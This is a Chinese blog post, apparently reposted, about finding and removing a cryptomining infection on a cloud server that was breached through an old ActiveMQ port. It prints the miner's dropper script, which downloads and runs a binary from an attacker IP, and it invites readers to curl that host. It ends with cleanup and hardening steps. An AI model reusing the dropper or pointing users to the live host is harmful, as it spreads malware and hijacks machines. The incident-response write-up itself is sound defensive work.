作者：我叫劉半仙
https://my.oschina.net/liughDevelop/blog/1786631
線上服務器用的是某云的，歡快的完美運行著Tomcat，MySQL，MongoDB，ActiveMQ等程式，突然一則噩耗從前線傳來：網站不能訪問了！
此專案是我負責，我以150+的手速立即打開了服務器，看到Tomcat掛了，然后順其自然的重啟，啟動程序中直接被killed，再試試資料庫，同樣沒成功
多次嘗試甚至重啟機器無果，機智的我打了個top，出現以下內容：
這是誰運行的程式？
不管三七二十一先殺掉再說，因為它就是Tomcat等程式啟動不了的元兇，然而并沒有什么卵用，過一會再看那個東西又跑出來占cpu，推薦閱讀：Linux 最常用命令整理，建議收藏，
懷疑是個定時任務：
什么鬼，是個圖片？立即訪問了一下：
好尷尬，但是心思細膩的我早知道沒這么簡單，肯定只是偽裝，curl過去是下面的腳本，程序就是在挖礦：
#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中間省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."
有興趣的同學想查看以上完整源代碼，命令列運行下面指令（不分作業系統，方便安全無污染）：
curl 192.99.142.235:8220/logo3.jpg
既然知道它是個定時任務，那就先取消了它，并且看看它是誰在運行：
殺掉，找到存放目錄：
進入臨時目錄：
被我發現組態檔了，先來看看內容：
虎軀一震，發現了不少資訊啊！
user是他的server的登錄用戶,下面是密碼，只可惜加密過，應該找不到對方，算了，大度的我先不和你計較，
干掉這兩個檔案后再查看top：
解決辦法
找到寄生的目錄，一般都會在tmp里，我這個是在/var/tmp/，首先把crontab干掉，殺掉行程，再洗掉產生的檔案，啟動Tomcat等程式，大功告成！
等等，這遠遠不夠，考慮到能被拿去挖礦的前提下你的服務器都已經被黑客入侵了，修復漏洞才對
不然你殺掉行程刪掉檔案后，黑客后門進來history一敲，都知道你做了啥修復手段，
所以上面辦法治標不治本，我后續做了以下作業：
-
把所有軟體升級到新版本
-
修改所有軟體默認埠號
-
打開ssh/authorized_keys, 洗掉不認識的密鑰
-
洗掉用戶串列中陌生的帳號
-
封了他的ip
-
SSH使用密鑰登錄并禁止口令登錄(這個一般是加運維一個人的秘鑰)
對了，本次遭受攻擊是低版本ActiveMP開放埠61616有漏洞，大家記得做優化，
滔哥給提供了最好的方式：將主機鏡像、找出病毒木馬、分析入侵原因、檢查業務程式、重裝系統、修復漏洞、再重新部署系統，
寫在最后
網友提供的一勞永逸終極解決辦法：把你自己的挖礦腳本掛上去運行，這樣別人就算掛腳本也跑不起來了，
推薦去我的博客閱讀更多：
1.Java JVM、集合、多執行緒、新特性系列教程
2.Spring MVC、Spring Boot、Spring Cloud 系列教程
3.Maven、Git、Eclipse、Intellij IDEA 系列工具教程
4.Java、后端、架構、阿里巴巴等大廠最新面試題
覺得不錯，別忘了點贊+轉發哦！
轉載請註明出處，本文鏈接：https://www.uj5u.com/houduan/164438.html
標籤：Java